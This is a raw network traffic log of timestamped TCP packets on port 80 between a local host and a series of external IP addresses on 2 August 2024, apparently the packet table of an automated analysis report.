Aug 2, 2024 13:52:08.218708038 CEST	80	49747	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:08.219093084 CEST	80	49747	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:08.219135046 CEST	49747	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:09.041032076 CEST	49747	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:10.060000896 CEST	49748	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:10.066503048 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:10.066592932 CEST	49748	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:10.068593025 CEST	49748	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:10.074037075 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:11.078265905 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:11.078296900 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:11.078310013 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:11.078386068 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:11.078397036 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:11.078409910 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:11.078418970 CEST	49748	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:11.078422070 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:11.078511953 CEST	49748	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:11.078511953 CEST	49748	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:11.078608036 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:11.078624010 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:11.078635931 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:11.078695059 CEST	49748	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:11.083412886 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:11.106942892 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:11.106998920 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:11.107023001 CEST	49748	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:11.150964975 CEST	49748	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:11.176533937 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:11.176573038 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:11.176585913 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:11.176708937 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:11.176708937 CEST	49748	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:11.176719904 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:11.176856995 CEST	49748	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:11.176983118 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:11.177018881 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:11.177031994 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:11.177059889 CEST	49748	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:11.177206039 CEST	49748	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:11.177459955 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:11.177560091 CEST	49748	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:11.183182001 CEST	49748	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:11.187962055 CEST	80	49748	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:16.452948093 CEST	49749	80	192.168.2.6	15.197.172.60
Aug 2, 2024 13:52:16.458431005 CEST	80	49749	15.197.172.60	192.168.2.6
Aug 2, 2024 13:52:16.458497047 CEST	49749	80	192.168.2.6	15.197.172.60
Aug 2, 2024 13:52:16.461445093 CEST	49749	80	192.168.2.6	15.197.172.60
Aug 2, 2024 13:52:16.467849970 CEST	80	49749	15.197.172.60	192.168.2.6
Aug 2, 2024 13:52:16.940391064 CEST	80	49749	15.197.172.60	192.168.2.6
Aug 2, 2024 13:52:16.940495968 CEST	49749	80	192.168.2.6	15.197.172.60
Aug 2, 2024 13:52:17.978394032 CEST	49749	80	192.168.2.6	15.197.172.60
Aug 2, 2024 13:52:17.983356953 CEST	80	49749	15.197.172.60	192.168.2.6
Aug 2, 2024 13:52:18.997442007 CEST	49750	80	192.168.2.6	15.197.172.60
Aug 2, 2024 13:52:19.002691984 CEST	80	49750	15.197.172.60	192.168.2.6
Aug 2, 2024 13:52:19.002785921 CEST	49750	80	192.168.2.6	15.197.172.60
Aug 2, 2024 13:52:19.005070925 CEST	49750	80	192.168.2.6	15.197.172.60
Aug 2, 2024 13:52:19.010021925 CEST	80	49750	15.197.172.60	192.168.2.6
Aug 2, 2024 13:52:19.549926043 CEST	80	49750	15.197.172.60	192.168.2.6
Aug 2, 2024 13:52:19.553154945 CEST	49750	80	192.168.2.6	15.197.172.60
Aug 2, 2024 13:52:20.509658098 CEST	49750	80	192.168.2.6	15.197.172.60
Aug 2, 2024 13:52:20.514703035 CEST	80	49750	15.197.172.60	192.168.2.6
Aug 2, 2024 13:52:21.528521061 CEST	49751	80	192.168.2.6	15.197.172.60
Aug 2, 2024 13:52:22.078825951 CEST	80	49751	15.197.172.60	192.168.2.6
Aug 2, 2024 13:52:22.078939915 CEST	49751	80	192.168.2.6	15.197.172.60
Aug 2, 2024 13:52:22.081341982 CEST	49751	80	192.168.2.6	15.197.172.60
Aug 2, 2024 13:52:22.086342096 CEST	80	49751	15.197.172.60	192.168.2.6
Aug 2, 2024 13:52:22.086354971 CEST	80	49751	15.197.172.60	192.168.2.6
Aug 2, 2024 13:52:22.612723112 CEST	80	49751	15.197.172.60	192.168.2.6
Aug 2, 2024 13:52:22.612792969 CEST	49751	80	192.168.2.6	15.197.172.60
Aug 2, 2024 13:52:23.588037014 CEST	49751	80	192.168.2.6	15.197.172.60
Aug 2, 2024 13:52:23.592932940 CEST	80	49751	15.197.172.60	192.168.2.6
Aug 2, 2024 13:52:24.608506918 CEST	49752	80	192.168.2.6	15.197.172.60
Aug 2, 2024 13:52:24.613481045 CEST	80	49752	15.197.172.60	192.168.2.6
Aug 2, 2024 13:52:24.614785910 CEST	49752	80	192.168.2.6	15.197.172.60
Aug 2, 2024 13:52:24.615874052 CEST	49752	80	192.168.2.6	15.197.172.60
Aug 2, 2024 13:52:24.620668888 CEST	80	49752	15.197.172.60	192.168.2.6
Aug 2, 2024 13:52:25.093091965 CEST	80	49752	15.197.172.60	192.168.2.6
Aug 2, 2024 13:52:25.093285084 CEST	80	49752	15.197.172.60	192.168.2.6
Aug 2, 2024 13:52:25.093527079 CEST	49752	80	192.168.2.6	15.197.172.60
Aug 2, 2024 13:52:25.097081900 CEST	49752	80	192.168.2.6	15.197.172.60
Aug 2, 2024 13:52:25.101860046 CEST	80	49752	15.197.172.60	192.168.2.6
Aug 2, 2024 13:52:30.144768000 CEST	49753	80	192.168.2.6	66.29.149.46
Aug 2, 2024 13:52:30.149847031 CEST	80	49753	66.29.149.46	192.168.2.6
Aug 2, 2024 13:52:30.149925947 CEST	49753	80	192.168.2.6	66.29.149.46
Aug 2, 2024 13:52:30.152224064 CEST	49753	80	192.168.2.6	66.29.149.46
Aug 2, 2024 13:52:30.157674074 CEST	80	49753	66.29.149.46	192.168.2.6
Aug 2, 2024 13:52:30.815274000 CEST	80	49753	66.29.149.46	192.168.2.6
Aug 2, 2024 13:52:30.815391064 CEST	80	49753	66.29.149.46	192.168.2.6
Aug 2, 2024 13:52:30.821188927 CEST	49753	80	192.168.2.6	66.29.149.46
Aug 2, 2024 13:52:31.665966034 CEST	49753	80	192.168.2.6	66.29.149.46
Aug 2, 2024 13:52:32.689099073 CEST	49756	80	192.168.2.6	66.29.149.46
Aug 2, 2024 13:52:32.694000006 CEST	80	49756	66.29.149.46	192.168.2.6
Aug 2, 2024 13:52:32.694256067 CEST	49756	80	192.168.2.6	66.29.149.46
Aug 2, 2024 13:52:32.696614981 CEST	49756	80	192.168.2.6	66.29.149.46
Aug 2, 2024 13:52:32.701395035 CEST	80	49756	66.29.149.46	192.168.2.6
Aug 2, 2024 13:52:33.360078096 CEST	80	49756	66.29.149.46	192.168.2.6
Aug 2, 2024 13:52:33.360382080 CEST	80	49756	66.29.149.46	192.168.2.6
Aug 2, 2024 13:52:33.362118006 CEST	49756	80	192.168.2.6	66.29.149.46
Aug 2, 2024 13:52:34.212807894 CEST	49756	80	192.168.2.6	66.29.149.46
Aug 2, 2024 13:52:35.232666969 CEST	49757	80	192.168.2.6	66.29.149.46
Aug 2, 2024 13:52:35.239523888 CEST	80	49757	66.29.149.46	192.168.2.6
Aug 2, 2024 13:52:35.241241932 CEST	49757	80	192.168.2.6	66.29.149.46
Aug 2, 2024 13:52:35.245125055 CEST	49757	80	192.168.2.6	66.29.149.46
Aug 2, 2024 13:52:35.250716925 CEST	80	49757	66.29.149.46	192.168.2.6
Aug 2, 2024 13:52:35.250750065 CEST	80	49757	66.29.149.46	192.168.2.6
Aug 2, 2024 13:52:35.869472980 CEST	80	49757	66.29.149.46	192.168.2.6
Aug 2, 2024 13:52:35.870050907 CEST	80	49757	66.29.149.46	192.168.2.6
Aug 2, 2024 13:52:35.870098114 CEST	49757	80	192.168.2.6	66.29.149.46
Aug 2, 2024 13:52:36.759891033 CEST	49757	80	192.168.2.6	66.29.149.46
Aug 2, 2024 13:52:37.779133081 CEST	49758	80	192.168.2.6	66.29.149.46
Aug 2, 2024 13:52:37.784277916 CEST	80	49758	66.29.149.46	192.168.2.6
Aug 2, 2024 13:52:37.784359932 CEST	49758	80	192.168.2.6	66.29.149.46
Aug 2, 2024 13:52:37.786711931 CEST	49758	80	192.168.2.6	66.29.149.46
Aug 2, 2024 13:52:37.791681051 CEST	80	49758	66.29.149.46	192.168.2.6
Aug 2, 2024 13:52:38.430005074 CEST	80	49758	66.29.149.46	192.168.2.6
Aug 2, 2024 13:52:38.434871912 CEST	80	49758	66.29.149.46	192.168.2.6
Aug 2, 2024 13:52:38.434978962 CEST	49758	80	192.168.2.6	66.29.149.46
Aug 2, 2024 13:52:38.435976028 CEST	49758	80	192.168.2.6	66.29.149.46
Aug 2, 2024 13:52:38.440824032 CEST	80	49758	66.29.149.46	192.168.2.6
Aug 2, 2024 13:52:43.537992001 CEST	49759	80	192.168.2.6	195.110.124.133
Aug 2, 2024 13:52:43.542994976 CEST	80	49759	195.110.124.133	192.168.2.6
Aug 2, 2024 13:52:43.543093920 CEST	49759	80	192.168.2.6	195.110.124.133
Aug 2, 2024 13:52:43.545048952 CEST	49759	80	192.168.2.6	195.110.124.133
Aug 2, 2024 13:52:43.553185940 CEST	80	49759	195.110.124.133	192.168.2.6
Aug 2, 2024 13:52:44.273008108 CEST	80	49759	195.110.124.133	192.168.2.6
Aug 2, 2024 13:52:44.273590088 CEST	80	49759	195.110.124.133	192.168.2.6
Aug 2, 2024 13:52:44.273699999 CEST	49759	80	192.168.2.6	195.110.124.133
Aug 2, 2024 13:52:45.057173014 CEST	49759	80	192.168.2.6	195.110.124.133
Aug 2, 2024 13:52:46.082648993 CEST	49760	80	192.168.2.6	195.110.124.133
Aug 2, 2024 13:52:46.087651014 CEST	80	49760	195.110.124.133	192.168.2.6
Aug 2, 2024 13:52:46.087764978 CEST	49760	80	192.168.2.6	195.110.124.133
Aug 2, 2024 13:52:46.090212107 CEST	49760	80	192.168.2.6	195.110.124.133
Aug 2, 2024 13:52:46.095108032 CEST	80	49760	195.110.124.133	192.168.2.6
Aug 2, 2024 13:52:46.775857925 CEST	80	49760	195.110.124.133	192.168.2.6
Aug 2, 2024 13:52:46.775986910 CEST	80	49760	195.110.124.133	192.168.2.6
Aug 2, 2024 13:52:46.779866934 CEST	49760	80	192.168.2.6	195.110.124.133
Aug 2, 2024 13:52:47.603493929 CEST	49760	80	192.168.2.6	195.110.124.133
Aug 2, 2024 13:52:48.622704029 CEST	49761	80	192.168.2.6	195.110.124.133
Aug 2, 2024 13:52:48.627770901 CEST	80	49761	195.110.124.133	192.168.2.6
Aug 2, 2024 13:52:48.627880096 CEST	49761	80	192.168.2.6	195.110.124.133
Aug 2, 2024 13:52:48.630045891 CEST	49761	80	192.168.2.6	195.110.124.133
Aug 2, 2024 13:52:48.634917974 CEST	80	49761	195.110.124.133	192.168.2.6
Aug 2, 2024 13:52:48.635745049 CEST	80	49761	195.110.124.133	192.168.2.6
Aug 2, 2024 13:52:49.336429119 CEST	80	49761	195.110.124.133	192.168.2.6
Aug 2, 2024 13:52:49.336441994 CEST	80	49761	195.110.124.133	192.168.2.6
Aug 2, 2024 13:52:49.336574078 CEST	49761	80	192.168.2.6	195.110.124.133
Aug 2, 2024 13:52:50.140805960 CEST	49761	80	192.168.2.6	195.110.124.133
Aug 2, 2024 13:52:51.155159950 CEST	49762	80	192.168.2.6	195.110.124.133
Aug 2, 2024 13:52:51.162760973 CEST	80	49762	195.110.124.133	192.168.2.6
Aug 2, 2024 13:52:51.163003922 CEST	49762	80	192.168.2.6	195.110.124.133
Aug 2, 2024 13:52:51.165463924 CEST	49762	80	192.168.2.6	195.110.124.133
Aug 2, 2024 13:52:51.170613050 CEST	80	49762	195.110.124.133	192.168.2.6
Aug 2, 2024 13:52:51.871396065 CEST	80	49762	195.110.124.133	192.168.2.6
Aug 2, 2024 13:52:51.871475935 CEST	80	49762	195.110.124.133	192.168.2.6
Aug 2, 2024 13:52:51.871609926 CEST	49762	80	192.168.2.6	195.110.124.133
Aug 2, 2024 13:52:51.874687910 CEST	49762	80	192.168.2.6	195.110.124.133
Aug 2, 2024 13:52:51.881196976 CEST	80	49762	195.110.124.133	192.168.2.6
Aug 2, 2024 13:52:57.398654938 CEST	49763	80	192.168.2.6	15.197.240.20
Aug 2, 2024 13:52:57.405225039 CEST	80	49763	15.197.240.20	192.168.2.6
Aug 2, 2024 13:52:57.408318996 CEST	49763	80	192.168.2.6	15.197.240.20
Aug 2, 2024 13:52:57.411190987 CEST	49763	80	192.168.2.6	15.197.240.20
Aug 2, 2024 13:52:57.416490078 CEST	80	49763	15.197.240.20	192.168.2.6
Aug 2, 2024 13:52:57.913906097 CEST	80	49763	15.197.240.20	192.168.2.6
Aug 2, 2024 13:52:57.913959980 CEST	49763	80	192.168.2.6	15.197.240.20
Aug 2, 2024 13:52:58.915971994 CEST	49763	80	192.168.2.6	15.197.240.20
Aug 2, 2024 13:52:58.929197073 CEST	80	49763	15.197.240.20	192.168.2.6
Aug 2, 2024 13:52:59.936043024 CEST	49764	80	192.168.2.6	15.197.240.20
Aug 2, 2024 13:52:59.941262960 CEST	80	49764	15.197.240.20	192.168.2.6
Aug 2, 2024 13:52:59.941328049 CEST	49764	80	192.168.2.6	15.197.240.20
Aug 2, 2024 13:52:59.943882942 CEST	49764	80	192.168.2.6	15.197.240.20
Aug 2, 2024 13:52:59.948771954 CEST	80	49764	15.197.240.20	192.168.2.6
Aug 2, 2024 13:53:00.436338902 CEST	80	49764	15.197.240.20	192.168.2.6
Aug 2, 2024 13:53:00.436422110 CEST	49764	80	192.168.2.6	15.197.240.20
Aug 2, 2024 13:53:01.451515913 CEST	49764	80	192.168.2.6	15.197.240.20
Aug 2, 2024 13:53:01.456526995 CEST	80	49764	15.197.240.20	192.168.2.6
Aug 2, 2024 13:53:02.466795921 CEST	49765	80	192.168.2.6	15.197.240.20
Aug 2, 2024 13:53:02.471798897 CEST	80	49765	15.197.240.20	192.168.2.6
Aug 2, 2024 13:53:02.471878052 CEST	49765	80	192.168.2.6	15.197.240.20
Aug 2, 2024 13:53:02.474021912 CEST	49765	80	192.168.2.6	15.197.240.20
Aug 2, 2024 13:53:02.479047060 CEST	80	49765	15.197.240.20	192.168.2.6
Aug 2, 2024 13:53:02.479120016 CEST	80	49765	15.197.240.20	192.168.2.6
Aug 2, 2024 13:53:02.971468925 CEST	80	49765	15.197.240.20	192.168.2.6
Aug 2, 2024 13:53:02.971611977 CEST	49765	80	192.168.2.6	15.197.240.20
Aug 2, 2024 13:53:03.978542089 CEST	49765	80	192.168.2.6	15.197.240.20
Aug 2, 2024 13:53:03.983798027 CEST	80	49765	15.197.240.20	192.168.2.6
Aug 2, 2024 13:53:04.997124910 CEST	49766	80	192.168.2.6	15.197.240.20
Aug 2, 2024 13:53:05.002213001 CEST	80	49766	15.197.240.20	192.168.2.6
Aug 2, 2024 13:53:05.002340078 CEST	49766	80	192.168.2.6	15.197.240.20
Aug 2, 2024 13:53:05.004097939 CEST	49766	80	192.168.2.6	15.197.240.20
Aug 2, 2024 13:53:05.009133101 CEST	80	49766	15.197.240.20	192.168.2.6
Aug 2, 2024 13:53:05.501517057 CEST	80	49766	15.197.240.20	192.168.2.6
Aug 2, 2024 13:53:05.502782106 CEST	80	49766	15.197.240.20	192.168.2.6
Aug 2, 2024 13:53:05.503000021 CEST	49766	80	192.168.2.6	15.197.240.20
Aug 2, 2024 13:53:05.505700111 CEST	49766	80	192.168.2.6	15.197.240.20
Aug 2, 2024 13:53:05.510812998 CEST	80	49766	15.197.240.20	192.168.2.6
Aug 2, 2024 13:53:19.015218973 CEST	49767	80	192.168.2.6	217.196.55.202
Aug 2, 2024 13:53:19.020235062 CEST	80	49767	217.196.55.202	192.168.2.6
Aug 2, 2024 13:53:19.020603895 CEST	49767	80	192.168.2.6	217.196.55.202
Aug 2, 2024 13:53:19.022710085 CEST	49767	80	192.168.2.6	217.196.55.202
Aug 2, 2024 13:53:19.027859926 CEST	80	49767	217.196.55.202	192.168.2.6
Aug 2, 2024 13:53:19.593957901 CEST	80	49767	217.196.55.202	192.168.2.6
Aug 2, 2024 13:53:19.594089985 CEST	80	49767	217.196.55.202	192.168.2.6
Aug 2, 2024 13:53:19.594165087 CEST	49767	80	192.168.2.6	217.196.55.202
Aug 2, 2024 13:53:20.525558949 CEST	49767	80	192.168.2.6	217.196.55.202
Aug 2, 2024 13:53:21.545015097 CEST	49768	80	192.168.2.6	217.196.55.202
Aug 2, 2024 13:53:21.555551052 CEST	80	49768	217.196.55.202	192.168.2.6
Aug 2, 2024 13:53:21.556163073 CEST	49768	80	192.168.2.6	217.196.55.202
Aug 2, 2024 13:53:21.558305979 CEST	49768	80	192.168.2.6	217.196.55.202
Aug 2, 2024 13:53:21.563421011 CEST	80	49768	217.196.55.202	192.168.2.6
Aug 2, 2024 13:53:22.142978907 CEST	80	49768	217.196.55.202	192.168.2.6
Aug 2, 2024 13:53:22.143121004 CEST	80	49768	217.196.55.202	192.168.2.6
Aug 2, 2024 13:53:22.143193007 CEST	49768	80	192.168.2.6	217.196.55.202
Aug 2, 2024 13:53:23.072304010 CEST	49768	80	192.168.2.6	217.196.55.202
Aug 2, 2024 13:53:24.091871977 CEST	49769	80	192.168.2.6	217.196.55.202
Aug 2, 2024 13:53:24.096899033 CEST	80	49769	217.196.55.202	192.168.2.6
Aug 2, 2024 13:53:24.096971989 CEST	49769	80	192.168.2.6	217.196.55.202
Aug 2, 2024 13:53:24.099364042 CEST	49769	80	192.168.2.6	217.196.55.202
Aug 2, 2024 13:53:24.104518890 CEST	80	49769	217.196.55.202	192.168.2.6
Aug 2, 2024 13:53:24.104532957 CEST	80	49769	217.196.55.202	192.168.2.6
Aug 2, 2024 13:53:24.672560930 CEST	80	49769	217.196.55.202	192.168.2.6
Aug 2, 2024 13:53:24.672996998 CEST	80	49769	217.196.55.202	192.168.2.6
Aug 2, 2024 13:53:24.673150063 CEST	49769	80	192.168.2.6	217.196.55.202
Aug 2, 2024 13:53:25.605238914 CEST	49769	80	192.168.2.6	217.196.55.202
Aug 2, 2024 13:53:26.623091936 CEST	49770	80	192.168.2.6	217.196.55.202
Aug 2, 2024 13:53:26.628134966 CEST	80	49770	217.196.55.202	192.168.2.6
Aug 2, 2024 13:53:26.628245115 CEST	49770	80	192.168.2.6	217.196.55.202
Aug 2, 2024 13:53:26.630445004 CEST	49770	80	192.168.2.6	217.196.55.202
Aug 2, 2024 13:53:26.635461092 CEST	80	49770	217.196.55.202	192.168.2.6
Aug 2, 2024 13:53:27.259416103 CEST	80	49770	217.196.55.202	192.168.2.6
Aug 2, 2024 13:53:27.259557009 CEST	80	49770	217.196.55.202	192.168.2.6
Aug 2, 2024 13:53:27.259778023 CEST	49770	80	192.168.2.6	217.196.55.202
Aug 2, 2024 13:53:27.265239954 CEST	49770	80	192.168.2.6	217.196.55.202
Aug 2, 2024 13:53:27.271522045 CEST	80	49770	217.196.55.202	192.168.2.6
Aug 2, 2024 13:53:35.331267118 CEST	64509	80	192.168.2.6	199.59.243.226
Aug 2, 2024 13:53:35.336103916 CEST	80	64509	199.59.243.226	192.168.2.6
Aug 2, 2024 13:53:35.336239100 CEST	64509	80	192.168.2.6	199.59.243.226
Aug 2, 2024 13:53:35.339806080 CEST	64509	80	192.168.2.6	199.59.243.226
Aug 2, 2024 13:53:35.345046997 CEST	80	64509	199.59.243.226	192.168.2.6
Aug 2, 2024 13:53:35.868133068 CEST	80	64509	199.59.243.226	192.168.2.6
Aug 2, 2024 13:53:35.868191957 CEST	80	64509	199.59.243.226	192.168.2.6
Aug 2, 2024 13:53:35.868242025 CEST	80	64509	199.59.243.226	192.168.2.6
Aug 2, 2024 13:53:35.868252039 CEST	80	64509	199.59.243.226	192.168.2.6
Aug 2, 2024 13:53:35.868283987 CEST	64509	80	192.168.2.6	199.59.243.226
Aug 2, 2024 13:53:35.868283987 CEST	64509	80	192.168.2.6	199.59.243.226
Aug 2, 2024 13:53:36.855360031 CEST	64509	80	192.168.2.6	199.59.243.226
Aug 2, 2024 13:53:37.873577118 CEST	64510	80	192.168.2.6	199.59.243.226
Aug 2, 2024 13:53:37.878840923 CEST	80	64510	199.59.243.226	192.168.2.6
Aug 2, 2024 13:53:37.878920078 CEST	64510	80	192.168.2.6	199.59.243.226
Aug 2, 2024 13:53:37.881253004 CEST	64510	80	192.168.2.6	199.59.243.226
Aug 2, 2024 13:53:37.886255026 CEST	80	64510	199.59.243.226	192.168.2.6
Aug 2, 2024 13:53:38.363174915 CEST	80	64510	199.59.243.226	192.168.2.6
Aug 2, 2024 13:53:38.363200903 CEST	80	64510	199.59.243.226	192.168.2.6
Aug 2, 2024 13:53:38.363262892 CEST	64510	80	192.168.2.6	199.59.243.226
Aug 2, 2024 13:53:38.363351107 CEST	80	64510	199.59.243.226	192.168.2.6
Aug 2, 2024 13:53:38.363387108 CEST	64510	80	192.168.2.6	199.59.243.226
Aug 2, 2024 13:53:39.384840012 CEST	64510	80	192.168.2.6	199.59.243.226
Aug 2, 2024 13:53:40.419657946 CEST	64511	80	192.168.2.6	199.59.243.226
Aug 2, 2024 13:53:40.424968004 CEST	80	64511	199.59.243.226	192.168.2.6
Aug 2, 2024 13:53:40.425045967 CEST	64511	80	192.168.2.6	199.59.243.226
Aug 2, 2024 13:53:40.427459955 CEST	64511	80	192.168.2.6	199.59.243.226
Aug 2, 2024 13:53:40.432626963 CEST	80	64511	199.59.243.226	192.168.2.6
Aug 2, 2024 13:53:40.432651997 CEST	80	64511	199.59.243.226	192.168.2.6
Aug 2, 2024 13:53:40.922607899 CEST	80	64511	199.59.243.226	192.168.2.6
Aug 2, 2024 13:53:40.922648907 CEST	80	64511	199.59.243.226	192.168.2.6
Aug 2, 2024 13:53:40.922734022 CEST	80	64511	199.59.243.226	192.168.2.6
Aug 2, 2024 13:53:40.922902107 CEST	64511	80	192.168.2.6	199.59.243.226
Aug 2, 2024 13:53:41.931791067 CEST	64511	80	192.168.2.6	199.59.243.226
Aug 2, 2024 13:53:42.950613022 CEST	64512	80	192.168.2.6	199.59.243.226
Aug 2, 2024 13:53:42.955746889 CEST	80	64512	199.59.243.226	192.168.2.6
Aug 2, 2024 13:53:42.956491947 CEST	64512	80	192.168.2.6	199.59.243.226
Aug 2, 2024 13:53:42.959279060 CEST	64512	80	192.168.2.6	199.59.243.226
Aug 2, 2024 13:53:42.964572906 CEST	80	64512	199.59.243.226	192.168.2.6
Aug 2, 2024 13:53:43.440464973 CEST	80	64512	199.59.243.226	192.168.2.6
Aug 2, 2024 13:53:43.440551996 CEST	80	64512	199.59.243.226	192.168.2.6
Aug 2, 2024 13:53:43.440783024 CEST	80	64512	199.59.243.226	192.168.2.6
Aug 2, 2024 13:53:43.440829039 CEST	64512	80	192.168.2.6	199.59.243.226
Aug 2, 2024 13:53:43.440975904 CEST	64512	80	192.168.2.6	199.59.243.226
Aug 2, 2024 13:53:43.443440914 CEST	64512	80	192.168.2.6	199.59.243.226
Aug 2, 2024 13:53:43.448282003 CEST	80	64512	199.59.243.226	192.168.2.6
Aug 2, 2024 13:53:56.764864922 CEST	64515	80	192.168.2.6	72.52.178.23
Aug 2, 2024 13:53:56.769834995 CEST	80	64515	72.52.178.23	192.168.2.6
Aug 2, 2024 13:53:56.769906998 CEST	64515	80	192.168.2.6	72.52.178.23
Aug 2, 2024 13:53:56.772433043 CEST	64515	80	192.168.2.6	72.52.178.23
Aug 2, 2024 13:53:56.777345896 CEST	80	64515	72.52.178.23	192.168.2.6
Aug 2, 2024 13:53:57.323911905 CEST	80	64515	72.52.178.23	192.168.2.6
Aug 2, 2024 13:53:57.324048042 CEST	64515	80	192.168.2.6	72.52.178.23
Aug 2, 2024 13:53:58.276041985 CEST	64515	80	192.168.2.6	72.52.178.23
Aug 2, 2024 13:53:58.281553030 CEST	80	64515	72.52.178.23	192.168.2.6
Aug 2, 2024 13:53:59.295722961 CEST	64516	80	192.168.2.6	72.52.178.23
Aug 2, 2024 13:53:59.300992012 CEST	80	64516	72.52.178.23	192.168.2.6
Aug 2, 2024 13:53:59.303679943 CEST	64516	80	192.168.2.6	72.52.178.23
Aug 2, 2024 13:53:59.307461977 CEST	64516	80	192.168.2.6	72.52.178.23
Aug 2, 2024 13:53:59.315119982 CEST	80	64516	72.52.178.23	192.168.2.6
Aug 2, 2024 13:53:59.843750000 CEST	80	64516	72.52.178.23	192.168.2.6
Aug 2, 2024 13:53:59.845412970 CEST	64516	80	192.168.2.6	72.52.178.23
Aug 2, 2024 13:54:00.807029009 CEST	64516	80	192.168.2.6	72.52.178.23
Aug 2, 2024 13:54:00.998713970 CEST	80	64516	72.52.178.23	192.168.2.6
Aug 2, 2024 13:54:01.825542927 CEST	64517	80	192.168.2.6	72.52.178.23
Aug 2, 2024 13:54:01.833333969 CEST	80	64517	72.52.178.23	192.168.2.6
Aug 2, 2024 13:54:01.835647106 CEST	64517	80	192.168.2.6	72.52.178.23
Aug 2, 2024 13:54:01.841324091 CEST	64517	80	192.168.2.6	72.52.178.23
Aug 2, 2024 13:54:01.847141027 CEST	80	64517	72.52.178.23	192.168.2.6
Aug 2, 2024 13:54:01.847460985 CEST	80	64517	72.52.178.23	192.168.2.6
Aug 2, 2024 13:54:02.364799023 CEST	80	64517	72.52.178.23	192.168.2.6
Aug 2, 2024 13:54:02.364864111 CEST	64517	80	192.168.2.6	72.52.178.23
Aug 2, 2024 13:54:03.353626966 CEST	64517	80	192.168.2.6	72.52.178.23
Aug 2, 2024 13:54:03.358673096 CEST	80	64517	72.52.178.23	192.168.2.6
Aug 2, 2024 13:54:04.372670889 CEST	64518	80	192.168.2.6	72.52.178.23
Aug 2, 2024 13:54:04.378901958 CEST	80	64518	72.52.178.23	192.168.2.6
Aug 2, 2024 13:54:04.379035950 CEST	64518	80	192.168.2.6	72.52.178.23
Aug 2, 2024 13:54:04.381237030 CEST	64518	80	192.168.2.6	72.52.178.23
Aug 2, 2024 13:54:04.387762070 CEST	80	64518	72.52.178.23	192.168.2.6
Aug 2, 2024 13:54:04.921484947 CEST	80	64518	72.52.178.23	192.168.2.6
Aug 2, 2024 13:54:04.925630093 CEST	64518	80	192.168.2.6	72.52.178.23
Aug 2, 2024 13:54:04.929413080 CEST	64518	80	192.168.2.6	72.52.178.23
Aug 2, 2024 13:54:04.934380054 CEST	80	64518	72.52.178.23	192.168.2.6
Aug 2, 2024 13:54:10.104614019 CEST	64519	80	192.168.2.6	194.67.71.191
Aug 2, 2024 13:54:10.109591961 CEST	80	64519	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:10.109734058 CEST	64519	80	192.168.2.6	194.67.71.191
Aug 2, 2024 13:54:10.112143040 CEST	64519	80	192.168.2.6	194.67.71.191
Aug 2, 2024 13:54:10.117243052 CEST	80	64519	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:10.844825983 CEST	80	64519	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:10.844846964 CEST	80	64519	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:10.844861031 CEST	80	64519	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:10.844875097 CEST	80	64519	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:10.844901085 CEST	64519	80	192.168.2.6	194.67.71.191
Aug 2, 2024 13:54:10.844943047 CEST	64519	80	192.168.2.6	194.67.71.191
Aug 2, 2024 13:54:11.619519949 CEST	64519	80	192.168.2.6	194.67.71.191
Aug 2, 2024 13:54:12.638818979 CEST	64520	80	192.168.2.6	194.67.71.191
Aug 2, 2024 13:54:12.643665075 CEST	80	64520	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:12.643731117 CEST	64520	80	192.168.2.6	194.67.71.191
Aug 2, 2024 13:54:12.646102905 CEST	64520	80	192.168.2.6	194.67.71.191
